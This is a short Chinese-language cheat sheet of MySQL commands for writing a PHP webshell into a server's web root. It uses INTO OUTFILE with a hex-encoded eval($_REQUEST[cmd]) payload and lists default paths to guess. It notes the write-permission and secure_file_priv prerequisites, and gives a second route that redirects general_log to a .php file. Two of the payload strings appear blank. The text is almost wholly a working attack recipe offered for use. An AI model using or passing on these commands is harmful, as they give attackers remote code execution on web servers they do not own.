select '' into outfile 'D:/phpStudy/www/xxx.php';
如果括号被过滤就用十六进制
select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'C:\wamp\www\webshell.php' ;
key:cmd
前提有三个:
a. 知道绝对路径
在没有搜集到其他信息的时候,可以猜默认路径
C:\wamp\www\webshell.php
D:\phpStudy\www\xxx.php
/var/www/html
b. 操作系统上的mysql用户对目录有写权限
c. mysql自身的secure_file_priv
允许导入文件
可以查询
show global variables like '%secure%';
secure_file_priv NULL
表示不允许导入导出,在mysql下的my.ini文件中设置
为空则是不限制
show variables like '%general%';
set global general_log='on'
修改日志文件
SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php'
然后输入一段shell,存进日志
SELECT ''